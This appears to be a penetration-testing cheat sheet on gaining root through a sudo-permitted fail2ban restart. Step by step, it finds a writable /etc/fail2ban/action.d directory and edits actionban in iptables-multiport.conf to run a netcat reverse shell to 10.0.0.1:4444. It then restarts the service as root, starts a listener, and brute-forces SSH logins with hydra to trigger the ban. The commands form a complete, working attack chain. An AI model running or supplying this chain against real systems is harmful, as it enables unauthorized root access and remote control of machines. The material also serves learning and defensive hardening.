Sudo Fail2ban Privilege Escalation
Last modified: 2023-02-05
Sudo fail2ban command might be vulnerable to privilege escalation (PrivEsc).
Fail2ban is an intrusion prevention software framework.
It prevents against brute force attacks.
sudo -l (root) NOPASSWD: /etc/init.d/fail2ban restart
If we can execute "fail2ban" as root, we can gain access to privileges by modifying the configuration file.
We need to check if the config file is writable.
find /etc -writable -ls 2>/dev/null 4 drwxrwx--- 2 root security 4096 Oct 16 08:57 /etc/fail2ban/action.d
Look inside of "/etc/fail2ban/jail.conf" to know more about how fail2ban is configured.
less /etc/fail2ban/jail.conf # --------------------------------------------- # output ... # "bantime" is the number of seconds that a host is banned. bantime = 10s # A host is banned if it has generated "maxretry" during the last "findtime" # seconds. findtime = 10s # "maxretry" is the number of failures before a host get banned. maxretry = 5 ...
1. Modify the Configuration File
For privilege escalation, we need to update the "iptables-multiport.conf".
Specifically, insert a payload to one of the following values.
Here update the value of actionban which triggers ban on multiple login attempts.
Copy iptables-multiport.conf to the current user's home directory.
ls -al /etc/fail2ban/action.d/iptables-multiport.conf # copy this file into the home directory for editing the content cp /etc/fail2ban/action.d/iptables-multiport.conf ~
Now modify the file.
We insert a reverse shell payload into the actionban.
actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
Then move back the config file to the original one.
mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
To apply the new configuration, restart it as root.
sudo /etc/init.d/fail2ban restart
2. Trigger the Action
Start a listener in local machine.
nc -lvnp 4444
Try to login with the wrong passwords multiple times until we will get banned.
So that to, hydra is useful.
hydra -l root -P passwords.txt <target-ip> ssh
After a short time, you will get a root shell via listener.